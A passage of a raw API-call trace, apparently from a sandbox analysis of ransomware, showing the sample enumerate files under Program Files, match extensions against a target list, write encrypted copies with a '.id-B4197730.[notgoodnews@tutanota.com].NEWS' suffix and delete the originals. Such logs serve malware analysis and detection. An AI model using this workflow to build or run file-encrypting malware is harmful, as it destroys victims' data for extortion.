Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.750] GetLastError () returned 0x0 [0195.750] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 0 [0195.750] CloseHandle (hObject=0x36c) returned 1 [0195.750] CloseHandle (hObject=0x368) returned 1 [0195.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.750] lstrlenW (lpString=".doc") returned 4 [0195.750] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".docx") returned 5 [0195.750] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.750] lstrlenW (lpString=".pdf") returned 4 [0195.750] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".xls") returned 4 [0195.750] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".xlsx") returned 5 [0195.750] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.750] lstrlenW (lpString=".ppt") returned 4 [0195.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.750] lstrlenW (lpString=".zip") returned 4 [0195.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".rar") returned 4 [0195.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.750] lstrlenW (lpString=".bz2") returned 4 [0195.751] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.751] lstrlenW (lpString=".7z") returned 3 [0195.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.751] lstrlenW (lpString=".dbf") returned 4 [0195.751] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.751] lstrlenW (lpString=".1cd") returned 4 [0195.751] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.751] lstrlenW (lpString=".jpg") returned 4 [0195.751] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.751] lstrlenW (lpString=".doc") returned 4 [0195.751] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".docx") returned 5 [0195.751] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.751] lstrlenW (lpString=".pdf") returned 4 [0195.751] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".xls") returned 4 [0195.751] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".xlsx") returned 5 [0195.751] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.751] lstrlenW (lpString=".ppt") returned 4 [0195.751] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.751] lstrlenW (lpString=".zip") returned 4 [0195.751] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.751] lstrlenW (lpString=".rar") returned 4 [0195.751] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.752] lstrlenW (lpString=".bz2") returned 4 [0195.752] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.752] lstrlenW (lpString=".7z") returned 3 [0195.752] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.752] lstrlenW (lpString=".dbf") returned 4 [0195.752] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.752] lstrlenW (lpString=".1cd") returned 4 [0195.752] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll") returned 52 [0195.752] lstrlenW (lpString=".jpg") returned 4 [0195.752] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.752] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.752] lstrlenW (lpString="glass.dll") returned 9 [0195.752] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.752] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=265792) returned 1 [0195.752] CloseHandle (hObject=0x368) returned 1 [0195.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0195.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.753] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.753] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.753] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0195.753] GetLastError () returned 0x0 [0195.753] ReadFile (in: hFile=0x368, lpBuffer=0x3b1b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b1b020, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 0 [0195.753] CloseHandle (hObject=0x36c) returned 1 [0195.753] CloseHandle (hObject=0x368) returned 1 [0195.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.754] lstrlenW (lpString=".doc") returned 4 [0195.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString=".docx") returned 5 [0195.754] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.754] lstrlenW (lpString=".pdf") returned 4 [0195.754] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString=".xls") returned 4 [0195.754] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString=".xlsx") returned 5 [0195.754] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.754] lstrlenW (lpString=".ppt") returned 4 [0195.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.754] lstrlenW (lpString=".zip") returned 4 [0195.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString=".rar") returned 4 [0195.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString=".bz2") returned 4 [0195.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.754] lstrlenW (lpString=".7z") returned 3 [0195.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.754] lstrlenW (lpString=".dbf") returned 4 [0195.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.754] lstrlenW (lpString=".1cd") returned 4 [0195.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.754] lstrlenW (lpString=".jpg") returned 4 [0195.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.754] lstrlenW (lpString=".doc") returned 4 [0195.754] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.754] lstrlenW (lpString=".docx") returned 5 [0195.755] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.755] lstrlenW (lpString=".pdf") returned 4 [0195.755] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.755] lstrlenW (lpString=".xls") returned 4 [0195.755] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.755] lstrlenW (lpString=".xlsx") returned 5 [0195.755] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.755] lstrlenW (lpString=".ppt") returned 4 [0195.755] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.755] lstrlenW (lpString=".zip") returned 4 [0195.755] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.755] lstrlenW (lpString=".rar") returned 4 [0195.755] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.755] lstrlenW (lpString=".bz2") returned 4 [0195.755] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.755] lstrlenW (lpString=".7z") returned 3 [0195.755] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.755] lstrlenW (lpString=".dbf") returned 4 [0195.755] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.755] lstrlenW (lpString=".1cd") returned 4 [0195.755] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll") returned 48 [0195.755] lstrlenW (lpString=".jpg") returned 4 [0195.755] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.755] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0195.755] lstrlenW (lpString="glib-lite.dll") returned 13 [0195.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.756] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=455744) returned 1 [0195.756] CloseHandle (hObject=0x368) returned 1 [0195.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0195.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0195.756] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.756] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 101 os_tid = 0xc08 [0191.142] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3251ff8 [0191.143] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x3262000 [0191.144] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2200 [0191.144] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x6bbf60 [0191.144] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c2290 [0191.144] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x100000) returned 0x3c24020 [0191.147] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c22a8 [0191.147] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c22a8, Size=0x20) returned 0x69d968 [0191.148] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6c22a8 [0191.148] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6c22a8, Size=0x20) returned 0x69dcd8 [0191.148] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0191.148] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0191.148] Wow64DisableWow64FsRedirection (in: OldValue=0x377ff50 | out: OldValue=0x377ff50*=0x0) returned 1 [0191.148] lstrlenW (lpString="kernel32.dll") returned 12 [0191.148] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d968 | out: hHeap=0x660000) returned 1 [0191.148] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0191.148] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dcd8 | out: hHeap=0x660000) returned 1 [0191.148] Sleep (dwMilliseconds=0x64) [0191.448] Sleep (dwMilliseconds=0x64) [0191.896] Sleep (dwMilliseconds=0x64) [0192.158] Sleep (dwMilliseconds=0x64) [0192.855] Sleep (dwMilliseconds=0x64) [0193.191] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0193.192] lstrlenW (lpString="goal assumed.exe") returned 16 [0193.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe" (normalized: "c:\\program files\\common files\\goal assumed.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0193.366] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=78336) returned 1 [0193.366] CloseHandle (hObject=0x350) returned 1 [0193.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe" (normalized: "c:\\program files\\common files\\goal assumed.exe")) returned 0x20 [0193.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\goal assumed.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe" (normalized: "c:\\program files\\common files\\goal assumed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0193.367] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.367] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\goal assumed.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0193.368] GetLastError () returned 0x0 [0193.368] ReadFile (in: hFile=0x350, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x13200, lpOverlapped=0x0) returned 1 [0193.397] WriteFile (in: hFile=0x2b4, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0x13210, lpOverlapped=0x0) returned 1 [0193.400] ReadFile (in: hFile=0x350, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.400] WriteFile (in: hFile=0x2b4, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0xf4, lpOverlapped=0x0) returned 1 [0193.400] SetEndOfFile (hFile=0x2b4) returned 1 [0193.400] CloseHandle (hObject=0x2b4) returned 1 [0193.401] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.401] SetEndOfFile (hFile=0x350) returned 1 [0193.402] CloseHandle (hObject=0x350) returned 1 [0193.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0193.402] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\goal assumed.exe" (normalized: "c:\\program files\\common files\\goal assumed.exe")) returned 1 [0193.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.404] lstrlenW (lpString=".doc") returned 4 [0193.404] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0193.404] lstrlenW (lpString=".docx") returned 5 [0193.404] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0193.404] lstrlenW (lpString=".pdf") returned 4 [0193.404] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0193.404] lstrlenW (lpString=".xls") returned 4 [0193.404] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0193.404] lstrlenW (lpString=".xlsx") returned 5 [0193.404] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0193.404] lstrlenW (lpString=".ppt") returned 4 [0193.404] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0193.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.404] lstrlenW (lpString=".zip") returned 4 [0193.404] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0193.404] lstrlenW (lpString=".rar") returned 4 [0193.404] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0193.404] lstrlenW (lpString=".bz2") returned 4 [0193.404] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0193.404] lstrlenW (lpString=".7z") returned 3 [0193.404] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0193.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.404] lstrlenW (lpString=".dbf") returned 4 [0193.404] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0193.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.404] lstrlenW (lpString=".1cd") returned 4 [0193.404] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.405] lstrlenW (lpString=".jpg") returned 4 [0193.405] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.405] lstrlenW (lpString=".doc") returned 4 [0193.405] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0193.405] lstrlenW (lpString=".docx") returned 5 [0193.405] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0193.405] lstrlenW (lpString=".pdf") returned 4 [0193.405] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0193.405] lstrlenW (lpString=".xls") returned 4 [0193.405] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0193.405] lstrlenW (lpString=".xlsx") returned 5 [0193.405] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0193.405] lstrlenW (lpString=".ppt") returned 4 [0193.405] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.405] lstrlenW (lpString=".zip") returned 4 [0193.405] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0193.405] lstrlenW (lpString=".rar") returned 4 [0193.405] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0193.405] lstrlenW (lpString=".bz2") returned 4 [0193.405] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0193.405] lstrlenW (lpString=".7z") returned 3 [0193.405] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0193.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.405] lstrlenW (lpString=".dbf") returned 4 [0193.405] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0193.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.406] lstrlenW (lpString=".1cd") returned 4 [0193.406] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0193.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\goal assumed.exe") returned 46 [0193.406] lstrlenW (lpString=".jpg") returned 4 [0193.406] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0193.406] lstrcmpiW (lpString1=".tlb", lpString2=".NEWS") returned 1 [0193.406] lstrlenW (lpString="vstoee100.tlb") returned 13 [0193.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0193.406] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=17048) returned 1 [0193.407] CloseHandle (hObject=0x350) returned 1 [0193.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 0x20 [0193.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0193.407] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.407] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0194.059] GetLastError () returned 0x0 [0194.059] ReadFile (in: hFile=0x350, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesRead=0x377fecc*=0x4298, lpOverlapped=0x0) returned 1 [0194.064] WriteFile (in: hFile=0x370, lpBuffer=0x3c24020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c24020*, lpNumberOfBytesWritten=0x377fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0194.065] ReadFile (in: hFile=0x350, lpBuffer=0x3c24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: 